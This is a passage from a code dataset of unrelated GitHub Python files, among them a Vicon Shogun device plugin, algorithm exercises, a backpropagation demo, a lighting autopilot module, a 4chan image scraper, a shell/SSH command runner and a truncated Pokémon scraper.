connect_listener(self):\n super().connect_listener()\n\n self.client = vicon_core_api.Client(self.ip_address)\n self.capture_service = shogun_live_api.CaptureServices(self.client)\n\n if self.client.connected:\n self.status = DeviceStatus.READY\n self.set_capture_folder()\n else:\n self.device_qt_handler.signal_device_connect_failed.emit(self)\n\n\n @unresponsive_shogun\n def set_slate(self, value):\n self._slate = value\n self.capture_service.set_capture_name(utils.capture_name(self._slate, self._take))\n\n @unresponsive_shogun\n def set_take(self, value):\n self._take = value\n self.capture_service.set_capture_name(utils.capture_name(self._slate, self._take))\n\n @unresponsive_shogun\n def set_capture_folder(self):\n d = datetime.date.today()\n\n save_path = d.strftime(self.save_path)\n\n # HOW TO MAKE DIR ON OTHER MACHINE\n #os.makedirs(save_path, exist_ok=True)\n\n result = self.capture_service.set_capture_folder(save_path)\n\n if result != vicon_core_api.result.Result.Ok:\n LOGGER.error(f'{self.name}: \"{save_path}\" is an invalid path. Capture Folder not set')\n\n @unresponsive_shogun\n def record_start(self, slate, take, description):\n if self.status == DeviceStatus.DISCONNECTED or not self.trigger_start:\n return\n\n self.set_slate(slate)\n self.set_take(take)\n\n result, _ = self.capture_service.start_capture()\n\n if result == vicon_core_api.result.Result.Ok:\n self.record_start_confirm(self.timecode())\n\n @unresponsive_shogun\n def record_stop(self):\n if self.status == DeviceStatus.DISCONNECTED or not self.trigger_stop:\n return\n\n result = self.capture_service.stop_capture(0)\n\n import time\n time.sleep(3)\n\n if result == vicon_core_api.result.Result.Ok:\n # TODO: THIS BLOCKS THE MAIN THREAD ON STOP. FIX THIS\n result, _, _ = self.capture_service.latest_capture_file_paths()\n # START HERE: GET PATHS OF FILES WRITTEN\n #LOGGER.debug(f'{result} {paths}')\n self.record_stop_confirm(self.timecode(), paths=None)\n\n def timecode(self):\n return '00:00:00:00'\n\n\nclass DeviceWidgetShogun(DeviceWidget):\n def __init__(self, name, device_hash, ip_address, icons, parent=None):\n super().__init__(name, device_hash, ip_address, icons, parent=parent)\n\n def _add_control_buttons(self):\n super()._add_control_buttons()\n self.trigger_start_button = self.add_control_button(':/icons/images/icon_trigger_start_disabled.png',\n icon_hover=':/icons/images/icon_trigger_start_hover.png',\n icon_disabled=':/icons/images/icon_trigger_start_disabled.png',\n icon_on=':/icons/images/icon_trigger_start.png',\n icon_hover_on=':/icons/images/icon_trigger_start_hover.png',\n icon_disabled_on=':/icons/images/icon_trigger_start_disabled.png',\n tool_tip='Trigger when recording starts',\n checkable=True, checked=True)\n\n self.trigger_stop_button = self.add_control_button(':/icons/images/icon_trigger_stop_disabled.png',\n icon_hover=':/icons/images/icon_trigger_stop_hover.png',\n icon_disabled=':/icons/images/icon_trigger_stop_disabled.png',\n icon_on=':/icons/images/icon_trigger_stop.png',\n icon_hover_on=':/icons/images/icon_trigger_stop_hover.png',\n icon_disabled_on=':/icons/images/icon_trigger_stop_disabled.png',\n tool_tip='Trigger when recording stops',\n checkable=True, checked=True)\n\n self.connect_button = self.add_control_button(':/icons/images/icon_connect.png',\n icon_hover=':/icons/images/icon_connect_hover.png',\n icon_disabled=':/icons/images/icon_connect_disabled.png',\n icon_on=':/icons/images/icon_connected.png',\n icon_hover_on=':/icons/images/icon_connected_hover.png',\n icon_disabled_on=':/icons/images/icon_connected_disabled.png',\n tool_tip='Connect/Disconnect from listener')\n\n self.trigger_start_button.clicked.connect(self.trigger_start_clicked)\n self.trigger_stop_button.clicked.connect(self.trigger_stop_clicked)\n self.connect_button.clicked.connect(self.connect_button_clicked)\n\n # Disable the buttons\n self.trigger_start_button.setDisabled(True)\n self.trigger_stop_button.setDisabled(True)\n\n def trigger_start_clicked(self):\n if self.trigger_start_button.isChecked():\n self.signal_device_widget_trigger_start_toggled.emit(self, True)\n else:\n self.signal_device_widget_trigger_start_toggled.emit(self, False)\n\n def trigger_stop_clicked(self):\n if self.trigger_stop_button.isChecked():\n self.signal_device_widget_trigger_stop_toggled.emit(self, True)\n else:\n self.signal_device_widget_trigger_stop_toggled.emit(self, False)\n\n def connect_button_clicked(self):\n if self.connect_button.isChecked():\n self._connect()\n else:\n self._disconnect()\n\n def _connect(self):\n # Make sure the button is in the correct state\n self.connect_button.setChecked(True)\n\n # Enable the buttons\n self.trigger_start_button.setDisabled(False)\n self.trigger_stop_button.setDisabled(False)\n\n # Emit Signal to Switchboard\n self.signal_device_widget_connect.emit(self)\n\n def _disconnect(self):\n # Make sure the button is in the correct state\n self.connect_button.setChecked(False)\n\n # Disable the buttons\n self.trigger_start_button.setDisabled(True)\n self.trigger_stop_button.setDisabled(True)\n\n # Emit Signal to Switchboard\n self.signal_device_widget_disconnect.emit(self)\n","repo_name":"chenyong2github/UnrealEngine","sub_path":"Engine/Plugins/VirtualProduction/Switchboard/Source/Switchboard/switchboard/devices/shogun/plugin_shogun.py","file_name":"plugin_shogun.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"32"} +{"seq_id":"30018700517","text":"\ndef larger_than_right(lst):\n y = max(lst)\n g = lst.index(y)\n newlist = lst[g:]\n newerList = []\n for i,v in enumerate(newlist[:-1]):\n if v > max(newlist[i+1:]):\n newerList.append(v)\n \n if len(newlist) > 1:\n if newlist[-2] > newlist[-1]:\n newerList.append(newlist[-1])\n \n if len(newerList) == 0:\n newerList.append(y)\n \n return newerList\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"vC4P2jGR6wxED7MBL_15.py","file_name":"vC4P2jGR6wxED7MBL_15.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42503130578","text":"\n# O-\n# /\n# O - O-\n# \\ \n# O-\n\nimport numpy as np\n\ndvalues=np.array([[1.,1.,1.],\n [2.,2.,2.],\n [3.,3.,3.]])\n\nweights=np.array([[1.2,-2.4,-1.3,-4.2],\n [2.4,2.1,-5.2,4.8],\n [-1.1,1.8,6.1,-2.3]]).T\n\ndx0=sum(weights[0]*dvalues[0])\ndx1=sum(weights[1]*dvalues[0])\ndx2=sum(weights[2]*dvalues[0])\ndx3=sum(weights[3]*dvalues[0])\ndinputs=np.array([dx0,dx1,dx2,dx3])\n\n# print(dinputs)\n\ndinputs=np.dot(dvalues,weights.T)\n# print(\"dinputs\\n\",dinputs)\n\ninputs=np.array([[1.2,3.1,1.2,3.1],\n [3.2,5.2,6.7,1.7],\n [4.2,6.3,1.2,6.6]])\n\ndweights=np.dot(inputs.T,dvalues)\n# print(\"dweights\\n\",dweights)\n\ndbias=np.sum(dvalues,axis=0,keepdims=True)\n# print(\"dbias\\n\",dbias)\n\nbias=[1,1,1]\n\nz=np.dot(inputs,weights)+bias\n\ndrelu=np.zeros_like(z)\ndrelu[z>0]=1\ndrelu*=dvalues\n# print(\"drelu\\n\",drelu)\n\n# optimizing drelu calculation\ndrelu=dvalues.copy()\ndrelu[z<=0]=0\n# print(drelu)\n\n# MINIMIZING RELU OUTPUT\noutput=np.dot(inputs,weights)+bias\noutput=np.maximum(output,0)\nprint(output)\ndrelu=output.copy()\ndrelu[output<=0]=0\ndinput=np.dot(drelu,weights.T)\ndweights=np.dot(inputs.T,drelu)\ndbias=np.sum(output,axis=0,keepdims=True)\nweights -= 0.001*dweights\nbias -= 0.001*dbias\nprint(\"minimized output\\n\",np.maximum(np.dot(inputs,weights)+bias,0))\n","repo_name":"Pointdexter16/Neural-Network-concepts-from-scatch-in-python","sub_path":"9.Backpropagation_layer_of_neurons.py","file_name":"9.Backpropagation_layer_of_neurons.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15485254601","text":"\"\"\"\n动态规划\nhttps://leetcode.cn/problems/house-robber/description/?envType=study-plan-v2&envId=leetcode-75\n你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。\n\n给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额。\n\n\n示例 1:\n\n输入:[1,2,3,1]\n输出:4\n解释:偷窃 1 号房屋 (金额 = 1) ,然后偷窃 3 号房屋 (金额 = 3)。\n 偷窃到的最高金额 = 1 + 3 = 4 。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def rob(self, nums: List[int]) -> int:\n # if len(nums) == 0:\n # return 0\n\n # 分解成子问题\n \"\"\"\n f(k) = 偷[0..k)房间的最大金额\n f(0) = 0\n f(1) = nums[0]\n f(k) = max { rob(k-1), rob(k-2) + nums[k-1]}\n \"\"\"\n\n # n = len(nums)\n # dp = [0] * (n + 1)\n # dp[0] = 0\n # dp[1] = nums[0]\n pre = 0\n cur = 0\n # for i in range(2, n + 1):\n for i in nums:\n pre, cur = cur, max(cur,i+pre)\n # dp[i] = max(dp[i - 1], dp[i - 2] + nums[i - 1])\n return cur\n\n\nif __name__ == '__main__':\n res = Solution().rob([1, 3, 4, 6])\n print(res)\n","repo_name":"ChenZixinn/leetcode","sub_path":"medium/动态规划/198_打家劫舍.py","file_name":"198_打家劫舍.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3608711009","text":"# Implement strStr().\n\n# Return the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack.\n\n# Example 1:\n\n# Input: haystack = \"hello\", needle = \"ll\"\n# Output: 2\n# Example 2:\n\n# Input: haystack = \"aaaaa\", needle = \"bba\"\n# Output: -1\n\ndef strStr(haystack, needle):\n if not needle:\n return 0\n if needle not in haystack:\n return -1\n else:\n w = haystack.index(needle)\n\n return w\n\nhaystack = \"maxwell\"\nneedle = \"we\"\n\nprint(strStr(haystack,needle))","repo_name":"Maxwell2016LeChouchou/coding","sub_path":"leetcode/python/strStr_28.py","file_name":"strStr_28.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34616370508","text":"from dataclasses import dataclass\nfrom typing import TYPE_CHECKING\n\nimport numpy as np\nfrom loguru import logger # type:ignore\nfrom ravelights.core.bpmhandler import BeatStatePattern\nfrom ravelights.core.colorhandler import Color, ColorHandler\nfrom ravelights.core.device import Device\nfrom ravelights.core.settings import Settings\nfrom ravelights.core.utils import p\n\nif TYPE_CHECKING:\n from ravelights.core.ravelights_app import RaveLightsApp\n\n\n@dataclass\nclass AutoPilot:\n \"\"\"\n autopilot_loop_length [in beats]: randomized is called every n beats\n \"\"\"\n\n root: \"RaveLightsApp\"\n\n def __post_init__(self) -> None:\n self.settings: Settings = self.root.settings\n self.devices: list[Device] = self.root.devices\n\n self.settings.settings_autopilot = dict(\n autopilot=False,\n autopilot_loop_length=4,\n renew_pattern=True,\n p_renew_pattern=0.1, # use in timeline genselector\n renew_pattern_sec=True,\n p_renew_pattern_sec=0.1, # use in timeline genselector\n renew_vfilter=True,\n p_renew_vfilter=0.1, # use in timeline genselector\n renew_thinner=True,\n p_renew_thinner=0.1, # use in timeline genselector\n renew_dimmer=True,\n p_renew_dimmer=0.1, # use in timeline genselector\n color_primary=True,\n p_color_primary=0.1,\n timeline=True,\n p_timeline=0.1,\n alternate_pattern=True,\n p_alternate_pattern=0.1, # run on every item in selected seperately\n alternate_pattern_sec=True,\n p_alternate_pattern_sec=0.1, # run on every item in selected seperately\n triggers=True,\n p_triggers=0.1, # run on every item in selected seperately\n )\n\n def get_autopilot_controls(self):\n controls_autopilot = [\n dict(type=\"toggle\", name_toggle=\"autopilot\"),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"renew_pattern\",\n name_slider=\"p_renew_pattern\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"renew_pattern_sec\",\n name_slider=\"p_renew_pattern_sec\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"renew_vfilter\",\n name_slider=\"p_renew_vfilter\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"renew_dimmer\",\n name_slider=\"p_renew_dimmer\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"renew_thinner\",\n name_slider=\"p_renew_thinner\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"color_primary\",\n name_slider=\"p_color_primary\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"timeline\",\n name_slider=\"p_timeline\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"alternate_pattern\",\n name_slider=\"p_alternate_pattern\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"alternate_pattern_sec\",\n name_slider=\"p_alternate_pattern_sec\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(\n type=\"toggle_slider\",\n name_toggle=\"triggers\",\n name_slider=\"p_triggers\",\n range_min=0.0,\n range_max=1.0,\n step=0.1,\n markers=True,\n ),\n dict(type=\"slider\", name_slider=\"autopilot_loop_length\", range_min=4, range_max=32, step=4, markers=True),\n ]\n return controls_autopilot\n\n def get_color_palette(self):\n # ─── Add Controls Color Palette ───────────────────────────────\n n_colors = 11\n controls_color_palette = [\n ColorHandler.get_color_from_hue(hue) for hue in np.linspace(0, 1, n_colors + 1)[:-1]\n ] + [Color(1, 1, 1)]\n return [f\"rgb({int(r*255)},{int(g*255)},{int(b*255)})\" for (r, g, b) in controls_color_palette]\n\n def randomize(self) -> None:\n \"\"\"Called every frame to randomize parameters within ravelights app.\"\"\"\n\n if not self.settings.settings_autopilot[\"autopilot\"]:\n return None\n\n beat_pattern = BeatStatePattern(loop_length=self.settings.settings_autopilot[\"autopilot_loop_length\"])\n if not beat_pattern.is_match(self.settings.beat_state):\n return None\n\n logger.info(\"run randomize routine\")\n\n # ─── Colors ───────────────────────────────────────────────────\n\n if self.settings.settings_autopilot[\"color_primary\"]:\n if p(self.settings.settings_autopilot[\"p_color_primary\"]):\n random_color = ColorHandler.get_random_color()\n logger.info(\"set new color_primary\")\n self.settings.color_engine.set_color_with_rule(color=random_color, color_key=\"A\")\n\n # ─── Triggers ─────────────────────────────────────────────────\n\n if self.settings.settings_autopilot[\"triggers\"]:\n for gen_type in [\"pattern\", \"pattern_sec\", \"vfilter\", \"dimmer\", \"thinner\"]:\n for timeline_level in range(1, 4): # levels 1 to 4\n if p(self.settings.settings_autopilot[\"p_triggers\"]):\n logger.info(f\"renew_trigger {gen_type} {timeline_level}\")\n self.settings.renew_trigger(gen_type=gen_type, timeline_level=timeline_level)\n","repo_name":"danuo/chromalights","sub_path":"src/ravelights/core/autopilot.py","file_name":"autopilot.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40298769548","text":"\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport urllib\r\nimport re\r\nimport os\r\nimport sys\r\n\r\ndef get_soup(url):\r\n return BeautifulSoup(requests.get(url).text, \"lxml\")\r\n\r\ndef get_main_page(board):\r\n return get_soup(\"http://boards.4chan.org/{}/\".format(board))\r\n\r\ndef get_thread_page(board, thread_id):\r\n return get_soup(\"http://boards.4chan.org/{}/res/{}\".format(board, thread_id))\r\n\r\ndef get_thread_ids(board):\r\n main_page = get_main_page(board)\r\n thread_ids = []\r\n for link in main_page.find_all(\"a\", class_=\"replylink\"):\r\n thread_ids.append(link[\"href\"][1:])\r\n return thread_ids\r\n\r\ndef get_image_urls(thread_id):\r\n thread_page = get_thread_page(\"g\", thread_id)\r\n image_urls = []\r\n for post in thread_page.find_all(\"div\", class_=\"postContainer\"):\r\n for link in post.find_all(\"a\"):\r\n if link.has_attr(\"href\") and link[\"href\"].endswith(\"jpg\"):\r\n image_urls.append(link[\"href\"])\r\n return image_urls\r\n\r\ndef download_image(url, filename):\r\n print (\"Downloading {} to {}\".format(url, filename))\r\n urllib.urlretrieve(url, filename)\r\n\r\ndef download_images(board):\r\n thread_ids = get_thread_ids(board)\r\n for thread_id in thread_ids:\r\n image_urls = get_image_urls(thread_id)\r\n for url in image_urls:\r\n download_image(url, url.split(\"/\")[-1])\r\n\r\ndef main():\r\n if len(sys.argv) < 2:\r\n print (\"Usage: python 4chan.py []\")\r\n sys.exit(1)\r\n board = sys.argv[1]\r\n if len(sys.argv) > 2:\r\n thread_id = sys.argv[2]\r\n image_urls = get_image_urls(thread_id)\r\n for url in image_urls:\r\n download_image(url, url.split(\"/\")[-1])\r\n else:\r\n download_images(board)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"LeoEkky/OpenAI-Codex-Code-Generation","sub_path":"4chan search.py","file_name":"4chan search.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"74922126492","text":"import json as json_module\nfrom typing import List, Union, Optional, Dict\nfrom ctypes import c_void_p, c_char, c_char_p, byref, POINTER, create_string_buffer\n\nfrom ._object import Object\nfrom ._library import yogi_core\nfrom ._json_view import JsonView\nfrom ._enums import ConfigurationFlags, CommandLineOptions\n\n\nclass Configuration(Object):\n \"\"\"Stores program parameters from different sources.\n\n A configuration represents a set of parameters that usually remain constant\n throughout the runtime of a program. Parameters can come from different\n sources such as the command line or a file. Configurations are used for\n other parts of the library such as application objects, however, they are\n also intended to store user-defined parameters.\n \"\"\"\n\n def __init__(self, flags: ConfigurationFlags = ConfigurationFlags.NONE):\n \"\"\"Create a configuration.\n\n Args:\n flags: Flags for changing the configuration's behaviour.\n \"\"\"\n handle = c_void_p()\n yogi_core.YOGI_ConfigurationCreate(byref(handle), flags)\n self._flags = flags\n super().__init__(handle)\n\n @property\n def flags(self) -> ConfigurationFlags:\n \"\"\"Configuration flags.\"\"\"\n return self._flags\n\n def update_from_command_line(self, argv: List[str], options: CommandLineOptions = ConfigurationFlags.NONE) -> None:\n \"\"\"Updates the configuration from command line options.\n\n If parsing the command line, files or any given JSON string fails, or\n if help is requested (e.g. by using the --help switch) then a\n DetailedFailureException will be raised containing detailed\n information about the error or the help text.\n\n Args:\n argv: List of command line arguments including the script name.\n options: Options to provide on the command line.\n \"\"\"\n args = (POINTER(c_char) * (len(argv)))()\n for i, arg in enumerate(argv):\n args[i] = create_string_buffer(arg.encode())\n\n yogi_core.YOGI_ConfigurationUpdateFromCommandLine(self._handle, len(args), args, options)\n\n def update_from_json(self, json: Union[JsonView, str, object]) -> None:\n \"\"\"Updates the configuration from a JSON object or a JSON object\n serialized to a string.\n\n If parsing fails then a DetailedFailureException will be raised\n containing detailed information about the error.\n\n Args:\n json: JsonView, serializable object or already serialized object.\n \"\"\"\n if not isinstance(json, JsonView):\n json = JsonView(json)\n\n yogi_core.YOGI_ConfigurationUpdateFromJson(self._handle, json.data.obj)\n\n def update_from_file(self, filename: str) -> None:\n \"\"\"Updates the configuration from a JSON file.\n\n If parsing the file fails then a DetailedFailureException will be\n raised containing detailed information about the error.\n\n Args:\n filename: Path to the JSON file.\n \"\"\"\n yogi_core.YOGI_ConfigurationUpdateFromFile(self._handle, filename.encode())\n\n def dump(self, *, resolve_variables: Optional[bool] = None, indentation: Optional[int] = None) -> str:\n \"\"\"Retrieves the configuration as a JSON-formatted string.\n\n Args:\n resolve_variables: Resolve all configuration variables. If this is\n None then variables will be resolved if and\n only if the configuration supports variables.\n indentation: Number of space characters to use for\n indentation. A value of None uses no spaces\n and omits new lines as well.\n\n Returns:\n The configuration as a JSON-formatted string.\n \"\"\"\n if resolve_variables is None:\n resolve_variables = not bool(self._flags & ConfigurationFlags.DISABLE_VARIABLES)\n\n if indentation is None:\n indentation = -1\n\n json = c_char_p()\n yogi_core.YOGI_ConfigurationDump(self._handle, byref(json), None, int(resolve_variables), indentation)\n return json.value.decode()\n\n def to_json(self, *, resolve_variables: Optional[bool] = None) -> Dict[str, object]:\n \"\"\"Retrieves the configuration as a JSON object.\n\n Args:\n resolve_variables: Resolve all configuration variables. If this is\n None then variables will be resolved if and\n only if the configuration supports variables.\n\n Returns:\n Dictionary representing the configuration.\n \"\"\"\n return json_module.loads(self.dump(resolve_variables=resolve_variables))\n\n def write_to_file(self, filename: str, *, resolve_variables: Optional[bool] = None,\n indentation: Optional[int] = None) -> None:\n \"\"\"Writes the configuration to a file in JSON format.\n\n This is useful for debugging purposes.\n\n Args:\n filename: Path to the output file.\n resolve_variables: Resolve all configuration variables. If this is\n None then variables will be resolved if and\n only if the configuration supports variables.\n indentation: Number of space characters to use for\n indentation. A value of None uses no spaces\n and omits new lines as well.\n \"\"\"\n if resolve_variables is None:\n resolve_variables = not bool(self._flags & ConfigurationFlags.DISABLE_VARIABLES)\n\n if indentation is None:\n indentation = -1\n\n yogi_core.YOGI_ConfigurationWriteToFile(self._handle, filename.encode(), int(resolve_variables), indentation)\n\n def validate(self, schema: 'Configuration', *, section: str = None) -> None:\n \"\"\"Validates the configuration against a JSON Schema.\n\n The validation is based on JSON Schema draft-07, see\n http://json-schema.org/. The schema to validate against has to be\n supplied in the schema parameter which needs to be a configuration\n object itself.\n\n If the validation fails, a DetailedFailureException with the\n CONFIGURATION_VALIDATION_FAILED error will be raised, containing a\n human-readable description about the failure.\n\n The section parameter can be used to specify a section of the\n configuration to validate instead of the whole configuration.\n\n Args:\n schema: The schema to use.\n section: Section in the configuration to validate; syntax is\n JSON pointer (RFC 6901).\n \"\"\"\n if section:\n section = section.encode()\n\n yogi_core.YOGI_ConfigurationValidate(self._handle, section, schema._handle)\n","repo_name":"yohummus/yogi-framework","sub_path":"yogi-python/yogi/_configuration.py","file_name":"_configuration.py","file_ext":"py","file_size_in_byte":6882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70884293852","text":"\"\"\"\nStreaming Shell / SSH Commands.\n\nReturn Generator Objects enabling streaming output\n\n\"\"\"\nimport os\nimport subprocess\n\n\nfrom cmd_exception import ReturnCodeError\nimport ssh_conn\n\n\ndef run_cmd(command, work_dir=None):\n \"\"\"\n Run shell command with streaming output.\n\n Input:\n command - string of command to run\n work_dir - working directory\n Returns(per iteration):\n output_str\n Raises:\n CommandException\n ReturnCodeError\n\n \"\"\"\n if work_dir is not None:\n os.chdir(work_dir) # Change to working directory\n\n # Run Command\n ps = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n\n # Read + yield stdout until process ends\n while ps.poll() is None:\n line = ps.stdout.readline()\n if line != \"\":\n yield line\n\n return_code = ps.returncode\n # Throw exception if return code is not 0\n if return_code:\n exc = \"\\nCOMMAND:%s\\nRET_CODE:%i\" % (command, return_code)\n raise ReturnCodeError(exc, return_code)\n\n\ndef run_cmd_list(commands, work_dir=None):\n \"\"\"\n Run a list of shell commands with streaming output.\n\n Input:\n commands - list of commands to run\n work_dir - working directory\n Returns (per iteration):\n output_str\n Raises:\n TypeError\n CommandException\n ReturnCodeError\n\n \"\"\"\n if not isinstance(commands, list):\n raise TypeError(\"commands must be a list\")\n for command in commands:\n for line in run_cmd(command, work_dir):\n yield line\n\n\ndef run_ssh_cmd(host, command, work_dir=None, username=None,\n key_filename=None, _connection=None):\n \"\"\"\n Run shell command over ssh with streaming output.\n\n Input:\n host - target machine\n command - string of command to run\n work_dir - working directory\n username - target machine user (if not specified current user)\n key_filename - filepath for private key\n _connection - SSH Connection\n Returns(per iteration):\n output_str\n Raises:\n CommandException\n SSHError\n ReturnCodeError\n\n \"\"\"\n # If no connection passed in create our own\n if _connection is None:\n ssh = ssh_conn.connect(host, username, key_filename)\n else:\n ssh = _connection\n\n # Handle Working Directory\n if work_dir is not None:\n command = \"cd %s && %s\" % (work_dir, command)\n\n # Run Command\n stdin, stdout, stderr = ssh.exec_command(command)\n\n while True:\n out = stdout.readline()\n # Stderr can block waiting so check to see if its ready\n if stderr.channel.recv_stderr_ready():\n out = out + stderr.readline()\n # If\n if out != \"\":\n yield out\n else:\n break\n\n return_code = stdout.channel.recv_exit_status()\n # Throw exception if return code is not 0\n if return_code:\n ssh.close() # Tidy Up\n exc = \"COMMAND:%s\\nRET_CODE:%i\" % (command, return_code)\n raise ReturnCodeError(exc, return_code)\n\n if _connection is None:\n ssh.close()\n\n\ndef run_ssh_cmd_list(host, commands, work_dir=None, username=None,\n key_filename=None):\n \"\"\"\n Run a list of shell commands over ssh with streaming output.\n\n Input:\n host - target machine\n commands - list of commands to run\n work_dir - working directory\n username - target machine user (if not specified current user)\n key_filename - filepath for private key\n Returns (per iteration):\n output_str\n Raises:\n TypeError\n CommandException\n SSHError\n ReturnCodeError\n\n \"\"\"\n if not isinstance(commands, list):\n raise TypeError(\"commands must be a list\")\n\n ssh = ssh_conn.connect(host, username, key_filename)\n\n for command in commands:\n for line in run_ssh_cmd(host, command, work_dir, username,\n key_filename, ssh):\n yield line\n\n ssh.close()\n","repo_name":"graze/pycmd-utils","sub_path":"cmd_utils/streaming.py","file_name":"streaming.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2112718705","text":"# -*- coding: utf-8 -*-\nimport os\n\nfrom flask import Flask, render_template, request\nimport urllib3\nfrom bs4 import BeautifulSoup\nimport random\n\napp = Flask(__name__)\n\nMONSTER_NO_MAX=898\nIMG_SOURCE_URL='https://zukan.pokemon.co.jp/detail/'\n\nclass Monster:\n pass\n\n@app.route(\"/\")\n@app.route(\"/\", methods=['GET', 'POST'])\ndef show(id=None, mistake=False):\n if id is None: id = \"{:03d}\".format(random.randint(1, MONSTER_NO_MAX))\n\n print(id)\n url = IMG_SOURCE_URL + str(id)\n\n http = urllib3.PoolManager()\n r = http.request('GET', url)\n\n soup = BeautifulSoup(r.data, 'html.parser')\n meta_tag = soup.find_all('meta', attrs={'property': 'og:image'})\n img_url = meta_tag[0].get('content')\n meta_tag = soup.find_all('meta', attrs={'property': 'og:title'})\n name = meta_tag[0].get('content').split(u'|')[0].split()[0]\n def translate_kana2alphabet(kana):\n map_k2a = {u'ア':'A', u'イ':'I', u'ウ':'U', u'エ':'E', u'オ':'O', u'カ':'KA', u'キ':'KI',u'ク':'KU',u'ケ':'KE',u'コ':'KO',\n u'サ':'SA',u'シ':'SHI',u'ス':'SU',u'セ':'SE',u'ソ':'SO',u'タ':'TA',u'チ':'CHI',u'ツ':'TU',u'テ':'TE',u'ト':'TO',\n u'ナ':'NA',u'ニ':'NI',u'ヌ':'NU',u'ネ':'NE',u'ノ':'NO',u'ハ':'HA',u'ヒ':'HI',u'フ':'FU',u'ヘ':'HE',u'ホ':'HO',\n u'マ':'MA',u'ミ':'MI',u'ム':'MU',u'メ':'ME',u'モ':'MO',u'ヤ':'YA',u'ユ':'YU',u'ヨ':'YO',u'ワ':'WA',u'ヲ':'WO',u'ン':'NN',\n u'ラ':'RA',u'リ':'RI',u'ル':'RU',u'レ':'RE',u'ロ':'RO',\n u'ガ':'GA',u'ギ':'GI',u'グ':'GU',u'ゲ':'GE',u'ゴ':'GO',u'ザ':'ZA',u'ジ':'JI',u'ズ':'ZU',u'ゼ':'ZE',u'ゾ':'ZO',\n u'ダ':'DA',u'ヂ':'DI',u'ヅ':'DU',u'デ':'DE',u'ド':'DO',u'バ':'BA',u'ビ':'BI',u'ブ':'BU',u'ベ':'BE',u'ボ':'BO',\n u'パ':'PA', u'ピ':'PI',u'プ':'PU',u'ペ':'PE',u'ポ':'PO',u'ヴ':'VU',u'ッ':'XTU',u'ャ':'XYA',u'ュ':'XYU',u'ョ':'XYO',\n u'ァ':'XA',u'ィ':'XI',u'ゥ':'XU',u'ェ':'XE',u'ォ':'XO',\n u'ー':'-',u'・':'',u' ':' ',u'♀':'',u'♂':'',u'Z':'Z',u':': ''}\n alphabets = []\n for char in kana:\n alphabets.append(map_k2a[char])\n\n # 「ッ」の処理\n for i, alphabet in enumerate(alphabets):\n if alphabet == 'XTU': alphabets[i+1] = alphabets[i+1][0] + alphabets[i+1][:]\n\n # 「ャ」「ュ」「ョ」の処理\n # 以下、前の子音+母音でいけるもの KI XYA -> KYA\n # 「キャ」「キュ」「キョ」「シャ」「シュ」「ショ」「チャ」「チュ」「チョ」「ニャ」「ニュ」「ニョ」「ヒャ」「ヒュ」「ヒョ」\n # 「ミャ」「ミュ」「ミョ」「リャ」「リュ」「リョ」「ギャ」「ギュ」「ギョ」「ジャ」「ジュ」「ジョ」「ヂャ」「ヂュ」「ヂョ」\n # 「ビャ」「ビュ」「ビョ」「ピャ」「ピュ」「ピョ」\n for i, alphabet in enumerate(alphabets):\n if alphabet in ('XYA', 'XYU', 'XYO'): \n if alphabets[i-1] in ('SHI','CHI','JI'):\n alphabets[i-1] = alphabets[i-1][:-1] + alphabets[i][2]\n else:\n alphabets[i-1] = alphabets[i-1][:-1] + alphabets[i][1:3]\n elif alphabet in ('XE'):\n if alphabets[i-1] in ('SHI','CHI','JI'):\n alphabets[i-1] = alphabets[i-1][:-1] + alphabets[i][1]\n \n alphabets = [alphabet for alphabet in alphabets if alphabet not in ('XYA', 